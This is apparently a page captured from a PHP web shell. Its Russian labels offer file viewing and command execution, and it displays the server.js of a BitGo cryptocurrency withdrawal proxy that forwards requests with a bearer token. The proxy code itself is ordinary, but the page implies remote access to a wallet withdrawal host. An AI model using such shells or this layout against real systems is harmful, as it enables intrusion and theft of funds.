PHP WebShell

Текущая директория: /opt/bitgo-express-withdraw

Просмотр файла: server.js

'use strict';

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

const BIND = process.env.BIND || '127.0.0.1';
const PORT = parseInt(process.env.PORT || '3091', 10);

const UPSTREAM = process.env.BITGO_UPSTREAM || 'http://127.0.0.1:3090';
const TOKEN = process.env.BITGO_ACCESS_TOKEN || '';

app.use(express.json({ limit: '2mb' }));

app.get('/health', (req, res) => {
  res.json({ ok: true, service: 'bitgo-withdraw-gateway', upstream: UPSTREAM, ts: new Date().toISOString() });
});

function applyAuth(proxyReq) {
  if (TOKEN) proxyReq.setHeader('Authorization', `Bearer ${TOKEN}`);
}

function forwardJsonBody(proxyReq, req) {
  // Only restream body for JSON requests that actually have a body
  if (!req.body || Object.keys(req.body).length === 0) return;

  const bodyData = JSON.stringify(req.body);
  proxyReq.setHeader('Content-Type', 'application/json');
  proxyReq.setHeader('Content-Length', Buffer.byteLength(bodyData));
  proxyReq.write(bodyData);
}

app.use(
  '/api',
  createProxyMiddleware({
    target: UPSTREAM,
    changeOrigin: false,
    secure: false,
    pathRewrite: (path) => path.replace(/^\/api/, ''), // /api/v2/... -> /v2/...
    onProxyReq: (proxyReq, req, res) => {
      applyAuth(proxyReq);
      forwardJsonBody(proxyReq, req);
    },
    onError: (err, req, res) => {
      res.status(502).json({ error: 'Gateway proxy error', message: String(err && err.message ? err.message : err) });
    },
  })
);

app.listen(PORT, BIND, () => {
  console.log(`Gateway listening on http://${BIND}:${PORT}`);
  console.log(`Upstream: ${UPSTREAM}`);
});

Выполнить команду


Для локальной разработки. Не используйте в интернете!